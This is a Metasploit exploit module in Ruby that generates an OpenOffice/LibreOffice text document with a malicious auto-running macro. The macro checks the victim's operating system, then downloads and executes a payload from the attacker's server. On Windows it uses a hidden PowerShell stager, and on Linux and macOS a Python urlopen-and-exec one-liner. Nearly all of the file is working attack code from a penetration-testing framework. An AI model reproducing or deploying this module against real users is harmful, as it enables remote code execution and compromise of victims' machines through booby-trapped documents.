##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'rex/zip'
require 'cgi'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Powershell
  include Msf::Exploit::Remote::HttpServer

  WINDOWSGUI = 'windows'
  OSXGUI     = 'osx'
  LINUXGUI   = 'linux'

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Apache OpenOffice Text Document Malicious Macro Execution",
      'Description'    => %q{
        This module generates an Apache OpenOffice Text Document with a malicious macro in it.
        To exploit successfully, the targeted user must adjust the security level in Macro
        Security to either Medium or Low. If set to Medium, a prompt is presented to the user
        to enable or disable the macro. If set to Low, the macro can automatically run without
        any warning.

        The module also works against LibreOffice.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'sinn3r' # Metasploit
        ],
      'References'     =>
        [
          ['URL', 'https://en.wikipedia.org/wiki/Macro_virus']
        ],
      'DefaultOptions'  =>
        {
          'EXITFUNC' => 'thread',
          'DisablePayloadHandler' => false
        },
      'Targets'        =>
        [
          [
            'Apache OpenOffice on Windows (PSH)', {
            'Platform' => 'win',
            'Arch' => [ARCH_X86, ARCH_X64]
          }],
          [
            'Apache OpenOffice on Linux/OSX (Python)', {
            'Platform' => 'python',
            'Arch' => ARCH_PYTHON
          }]
        ],
      'Privileged'     => false,
      'DisclosureDate' => '2017-02-08'
    ))

    register_options([
      OptString.new("BODY", [false, 'The message for the document body', '']),
      OptString.new('FILENAME', [true, 'The OpenOffice Text document name', 'msf.odt'])
    ])
  end


  def on_request_uri(cli, req)
    print_status("Sending payload")

    if target.name =~ /PSH/
      p = cmd_psh_payload(payload.encoded, payload_instance.arch.first, remove_comspec: true, exec_in_place: true)
    else
      p = payload.encoded
    end

    send_response(cli, p,  'Content-Type' => 'application/octet-stream')
  end


  def primer
    print_status("Generating our odt file for #{target.name}...")
    path  = File.join(Msf::Config.install_root, 'data', 'exploits', 'openoffice_document_macro')
    docm = package_odt(path)
    file_create(docm)
  end


  def get_windows_stager
    %Q|Shell("cmd.exe /C ""#{generate_psh_stager}""")|
  end


  def get_unix_stager
    %Q|Shell("#{generate_python_stager}")|
  end


  def generate_psh_stager
    @windows_psh_stager ||= lambda {
      ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl
      download_string = Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(get_uri)
      download_and_run = "#{ignore_cert}#{download_string}"
      generate_psh_command_line(
        noprofile: true,
        windowstyle: 'hidden',
        command: download_and_run)
    }.call
  end


  def generate_python_stager
    @python_stager ||= lambda {
      %Q|python -c ""import urllib2; r = urllib2.urlopen('#{get_uri}'); exec(r.read());""|
    }.call
  end


  def get_statger
    case target.name
    when /PSH/
      get_windows_stager
    when /Python/
      get_unix_stager
    end
  end


  # This macro code has the following in mind:
  # 1. It checks the platform to eliminate less misfires. Since we have only tested on Windows/Linux/OSX,
  #    we only want to fire at those.
  # 2. Originally, I tried to embed the payload in the macro code, write it out and then execute it.
  #    This turned out to be problematic, because for some reason OpenOffice is not able to
  #    write a large string to a file (I've tried either shell("echo") or using the macro API).
  #    The stager code is similar to web_delivery.
  def macro_code
    CGI.escapeHTML(%Q|
    Sub OnLoad
      Dim os as string
      os = GetOS
      If os = "#{WINDOWSGUI}" OR os = "#{OSXGUI}" OR os = "#{LINUXGUI}" Then
        Exploit
      end If
    End Sub

    Sub Exploit
      #{get_statger}
    End Sub

    Function GetOS() as string
      select case getGUIType
        case 1:
          GetOS = "#{WINDOWSGUI}"
        case 3:
          GetOS = "#{OSXGUI}"
        case 4:
          GetOS = "#{LINUXGUI}"
      end select
    End Function

    Function GetExtName() as string
      select case GetOS
        case "#{WINDOWSGUI}"
          GetFileName = "exe"
        case else
          GetFileName = "bin"
      end select
    End Function
    |)
  end

  def on_file_read(short_fname, full_fname)
    buf = File.read(full_fname)

    case short_fname
    when /content\.xml/
      buf.gsub!(/DOCBODYGOESHER/, datastore['BODY'])
    when /Module1\.xml/
      buf.gsub!(/CODEGOESHERE/, macro_code)
    end

    yield short_fname, buf
  end


  def package_odt(path)
    zip = Rex::Zip::Archive.new

    Dir["#{path}/**/**"].each do |file|
      p = file.sub(path+'/','')

      if File.directory?(file)
        print_status("Packaging directory: #{file}")
        zip.add_file(p)
      else
        on_file_read(p, file) do |fname, buf|
          print_status("Packaging file: #{fname}")
          zip.add_file(fname, buf)
        end
      end
    end

    zip.pack
  end


  def exploit
    super
  end
end
